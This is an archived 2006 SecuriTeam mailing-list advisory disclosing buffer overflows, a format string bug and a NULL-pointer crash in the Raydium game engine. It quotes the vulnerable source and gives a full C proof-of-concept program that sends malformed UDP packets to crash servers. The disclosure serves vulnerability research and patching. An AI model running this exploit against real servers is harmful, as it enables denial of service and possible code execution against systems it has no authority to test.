Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Form

Subject: [NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format String, DoS)
Date: 14 May 2006 18:15:03 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format 
String, DoS)
------------------------------------------------------------------------


SUMMARY

" <http://raydium.org/> Raydium is a game engine. It provides a set of 
functions wich allow quick and flexible games creation."

Improper handling of user input allows attackers to execute arbitrary code 
or crash the server.

DETAILS

Vulnerable Systems:
 * Raydium SVN revision 309 and prior

Buffer-overflow in raydium_log and raydium_console_line_add:
The logging function of Raydium is very used in all the engine.
For example everytime a client tries to join the server it logs the event 
in the console:

raydium_log("network: client %i connected as 
%s"/*,inet_ntoa(from->sin_addr)*/,n,name);

This useful function is affected by a buffer-overflow bug where the local 
buffer str of 255 (RAYDIUM_MAX_NAME_LEN) bytes is filled using the 
unsecure sprintf function.
The size of the input packet is 512 (RAYDIUM_NETWORK_PACKET_SIZE) bytes of 
which 508 are available for the text to use for exploiting the 
vulnerability.

From raydium/log.c:
// need to be secured
void raydium_log(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;

va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

printf("Raydium: %s\n",str);
if(raydium_log_file) fprintf(raydium_log_file,"%s\n",str);
raydium_console_line_add(str);
}

Similar thing for raydium_console_line_add:

  From raydium/console.c:

// need to secure this one too
void raydium_console_line_add(char *format, ...)
{
char str[RAYDIUM_MAX_NAME_LEN];
va_list argptr;
va_start(argptr,format);
vsprintf(str,format,argptr);
va_end(argptr);

raydium_console_line_last++;
if(raydium_console_line_last>=RAYDIUM_CONSOLE_MAX_LINES)
   raydium_console_line_last=0;

strcpy(raydium_console_lines[raydium_console_line_last],str);
}


Format string in raydium_log:
The same raydium_log function described above is affected also by a format 
string vulnerability caused by the calling of raydium_console_line_add 
passing directly the text string without the required format argument:

  raydium_console_line_add(str);

NULL function pointer in raydium_network_netcall_exec:
The function raydium_network_netcall_exec is called by 
raydium_network_read for selecting the specific function to use for 
handling the type of packet received.
The raydium_network_netcall_type array is initialized with the type -1 so 
if the attacker uses the type 0xff the function will try to call 
raydium_network_netcall_func which is still initialized with a NULL 
pointer.
The effect is the crash of the program.

From raydium/network.c:
..
for(i=0;i<RAYDIUM_NETWORK_MAX_NETCALLS;i++)
    {
    raydium_network_netcall_type[i]=-1;
    raydium_network_netcall_func[i]=0;
    raydium_network_netcall_tcp[i]=0;
    }
..

void raydium_network_netcall_exec(int type,char *buff)
{
char tmpbuff[RAYDIUM_NETWORK_PACKET_SIZE];
int i;
void (*f)(int, char*);

for(i=0;i<RAYDIUM_NETWORK_MAX_NETCALLS;i++)
 if(raydium_network_netcall_type[i]==type)
 {
    memcpy(tmpbuff,buff,RAYDIUM_NETWORK_PACKET_SIZE);
    f=raydium_network_netcall_func[i];
    f(type,tmpbuff);
 }
}

Buffer-overflow and invalid memory access in raydium_network_read:
The function raydium_network_read is affectd by some buffer-overflow bugs 
which happen during the writing of some global variables allocated in an 
array of 32 (RAYDIUM_NETWORK_MAX_SERVERS) elements.
The same function is also affected by an invalid memory access could 
happen when the server sends a packet to the client containing an 8 bit id 
bigger than 8 (RAYDIUM_NETWORK_MAX_CLIENTS).
Both the bugs can be exploited only versus the clients.

From raydium/network.c:
   signed char raydium_network_read(int *id, signed char *type, char 
*buff)
    ...
    strcpy(raydium_network_server_list[slot].name,name);
    ...
    strcpy(raydium_network_server_list[slot].info,info);
    ...
    i=buff[RAYDIUM_NETWORK_PACKET_OFFSET];
    strcpy(raydium_network_name[i],buff+RAYDIUM_NETWORK_PACKET_OFFSET+1);
    ...

Exploit:
The winerr.h header can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define stristr strcasestr
    #define ONESEC  1
#endif

#define VER         "0.1"
#define PORT        29104
#define BUFFSZ      RAYDIUM_NETWORK_PACKET_SIZE

#define RAYDIUM_NETWORK_PACKET_OFFSET               4
#define RAYDIUM_NETWORK_PACKET_SIZE                 512

#define RAYDIUM_NETWORK_PACKET_DATA                 1
#define RAYDIUM_NETWORK_PACKET_ERROR_NO_MORE_PLACE  2
#define RAYDIUM_NETWORK_PACKET_ATTRIB_UID           3
#define RAYDIUM_NETWORK_PACKET_REQUEST_UID          4
#define RAYDIUM_NETWORK_PACKET_INFO_NAME            5
#define RAYDIUM_NETWORK_PACKET_ACK                  6
#define RAYDIUM_NETWORK_PACKET_SERVER_BEACON        7
#define RAYDIUM_NETWORK_PACKET_ODE_DATA             10
#define RAYDIUM_NETWORK_PACKET_ODE_NEWELEM          11
#define RAYDIUM_NETWORK_PACKET_ODE_REMELEM          12
#define RAYDIUM_NETWORK_PACKET_ODE_NIDWHO           13
#define RAYDIUM_NETWORK_PACKET_ODE_EXPLOSION        14
#define RAYDIUM_NETWORK_PACKET_BASE                 20

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

struct  sockaddr_in peer;

int main(int argc, char *argv[]) {
    int     sd,
            attack,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Raydium <= SVN 309 multiple vulnerabilities " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = buffer-overflow in raydium_log and 
raydium_console_line_add\n"
            " 2 = format string in raydium_log\n"
            " 3 = NULL function pointer in raydium_network_netcall_exec\n"
//            " 4 = buffer-overflow and invalid memory access in 
raydium_network_read\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port    = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    memset(buff, 0, sizeof(buff));
    buff[0] = RAYDIUM_NETWORK_PACKET_REQUEST_UID;
    buff[1] = 0;
    *(short *)(buff + 2) = time(NULL);

    switch(attack) {
        case 1: {
            memset(buff + RAYDIUM_NETWORK_PACKET_OFFSET, 'a', 
RAYDIUM_NETWORK_PACKET_SIZE - RAYDIUM_NETWORK_PACKET_OFFSET);
            } break;
        case 2: {
            strcpy(buff + RAYDIUM_NETWORK_PACKET_OFFSET, "%0500x");
            } break;
        case 3: {
            buff[0] = 0xff;
            } break;
        default: {
            printf("\nError: wrong attack number\n\n");
            exit(1);
            } break;
    }

    printf("- send malformed packet for attack %d\n", attack);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    len = send_recv(sd, buff, RAYDIUM_NETWORK_PACKET_SIZE, buff, 
sizeof(buff), 0);
    if(len < 0) {
        printf("- no reply from the server, it's probably crashed\n");
    }
    close(sd);

    printf("- check server:\n");
    memset(buff, 0, sizeof(buff));
    buff[0] = RAYDIUM_NETWORK_PACKET_REQUEST_UID;
    buff[1] = 0;
    *(short *)(buff + 2) = time(NULL);
    strcpy(buff + RAYDIUM_NETWORK_PACKET_OFFSET, "username");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(send_recv(sd, buff, RAYDIUM_NETWORK_PACKET_SIZE, buff, 
sizeof(buff), 0) < 0 ) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server doesn't seem vulnerable\n\n");
    }
    close(sd);
    return(0);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);

    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, 
sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", 
stdout);
            exit(1);
        }

    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}

int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/raydiumx-adv.txt> 
http://aluigi.altervista.org/adv/raydiumx-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format String, DoS), SecuriTeam <=